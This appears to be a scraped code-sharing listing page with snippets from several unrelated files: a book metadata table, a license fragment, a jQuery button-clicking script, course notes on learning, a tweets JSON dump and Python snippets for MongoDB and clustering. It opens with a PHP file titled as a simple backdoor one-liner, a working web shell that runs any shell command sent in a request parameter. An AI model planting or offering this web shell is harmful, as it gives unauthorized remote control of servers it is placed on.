View Simple-Backdoor-One-Liner.php
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<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
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"_id" title authors.0 authors.1 publisher
59b1349a30164b0f93a7ca2c On Gryphon's Wings T. C. Portier Balboa Press
59b1349a30164b0f93a7ca2d Murder in the Vatican, The CIA and the Bolshevik Pontiff Lucien Gregoire Author House
59b1349a30164b0f93a7ca2e The Taylor Women Shirley Harrington-Moore iUniverse
59b1349a30164b0f93a7ca2f Roll On Sugaree Loyd Little Author House
59b1349a30164b0f93a7ca30 The Pelican's Briefs Mark Joneschiet iUniverse
59b1349a30164b0f93a7ca31 Colophon, A Novel of Renaissance Florence Jo Ford iUniverse
59b1349a30164b0f93a7ca32 December Gold Ron Mitchell WestBow Press
59b1349a30164b0f93a7ca33 Mom's Gold Star Robert Bailey iUniverse
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Copyright (c) 2016 Stuart Powers
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to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
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View hack.js
function click_all_the_things() {
buttons = $('.sgbutton').toArray()
function clickbutton() {
console.log(buttons.length)
if(buttons.length > 0){
button = buttons.pop();
console.log("clicking button", button);
button.click();
View learning.txt
Learning How To Learn
Module 1 - What is Learning
Focused/Diffuse Modes Thinking
- Obviously ‘focused’ is when you’re concentrating. Direct approach to solving familiar problems.
- Focused: thoughts move through nicely-paved road of familiar notions (neural pattern looks very tight and directed).
- encompasses rational, sequential, analytical approaches to thinking
- Diffuse: More of a search function neural pattern. Thoughts move widely. More of a broad/big-picture perspective trying to connect ideas from different places.
- We’re always either in focused or diffuse mode of thinking.
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View similar-tweets.json
{
"rows": [
"cell": [ "08/04/17 08:00:45", "MEXICAN - ATLANTE UTN", "Atlante", "#BuenD\u00eda #Azulgranas #YaEsViernes y tu coraz\u00f3n los sabe.\n\u00a1HOY juega el Potro!\n#TodosSomosAtlante https://t.co/lYh0VAjzzn", "893441576344723456", "Yes", "91.59", "tweet", "similarity-threshold" ] },
"cell": [ "08/03/17 18:04:42", "MEXICAN - ATLANTE UTN", "Atlante", "Acude a #LaPreviaAzulgrana en el #Andr\u00e9sQuintanaRoo antes del partido Atlante vs Celaya.\n#TodosSomosAtlante https://t.co/mU7ETBqLt7", "893231176705507332", "Yes", "93.62", "tweet", "similarity-threshold" ] },
"cell": [ "08/03/17 17:36:22", "MEXICAN - ATLANTE UTN", "Atlante", "A retomar el paso ganador: \n\u201cPotro\u201d Guti\u00e9rrez\n\n++ Atlante va ante Celaya ante su afici\u00f3n por su segundo triunfo... https://t.co/FECLUSFQW7", "893224045927436288", "Yes", "93.82", "tweet", "similarity-threshold" ] },
"cell": [ "08/03/17 12:19:23", "MEXICAN - ATLANTE UTN", "Atlante", "#LizandroEcheverr\u
View example.py
from bson.objectid import ObjectId
from analysis.tw import *
import pprint
client = pymongo.MongoClient('mongodb://algdev.sportsmanias.com')
db = client['sportmanias']['tweets']
parent = Tw(db.find_one({'id_str':'890067420207042561'}))
a = Tw(db.find_one({'id_str':'889706097598054400'}))
View clustering.py
import numpy as np
from sklearn.cluster import MeanShift, estimate_bandwidth
import os
import stat
files = ['archives/2017-07/{}'.format(f) for f in list(os.walk('archives/2017-07/'))[0][2]]
ar = []
arr = []